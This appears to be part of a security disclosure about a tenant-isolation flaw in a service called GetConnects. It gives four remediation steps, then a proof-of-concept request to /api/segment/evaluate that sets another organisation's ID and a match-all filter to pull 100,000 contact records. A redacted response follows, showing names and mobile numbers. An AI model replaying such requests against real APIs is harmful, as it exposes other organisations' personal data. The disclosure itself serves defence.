GetConnects

1. Centralise tenant scoping in a request middleware. Every handler should receive the tenant identifier from the authenticated session, never from client input. Endpoints that legitimately need cross-tenant access become explicit opt-ins with their own gate.
2. Require authentication on /api/segment/evaluate and reject any request whose session tenant does not match the resolved target. There is no legitimate unauthenticated use case for this endpoint.
3. Log tenant boundary violations at the middleware layer even when a request would otherwise pass. This surfaces attempted probes against any remaining gaps.
4. Add a CI check that runs the top ten most sensitive endpoints under three synthetic sessions (unauthenticated, low-priv-A, admin-B) and fails the build if any returns data outside the caller's scope.

Proof-of-concept request:

POST /api/segment/evaluate HTTP/2
Host: [REDACTED]
Content-Type: application/json

{
  "json": {
    "organisationId": "<target_org_id>",
    "searchCriteria": {
      "and": [
        { "or": [
          { "field": "firstName", "operator": "contains", "value": "a" }
        ]}
      ]
    },
    "limit": 100000,
    "skip": 0
  }
}

Response, shape only:

HTTP/2 200 OK
Content-Type: application/json

{
  "json": {
    "organisationId": "<target_org_id>",
    "count": 100000,
    "records": [
      { "firstName": "[Redacted]", "lastName": "[Redacted]",
        "mobile": { "normalised": "+XX XXX XXX XXX" },
        "organisation": "[Tenant name redacted]" },
      // 99,999 more contact records for a tenant we do not belong to
    ]
  }
}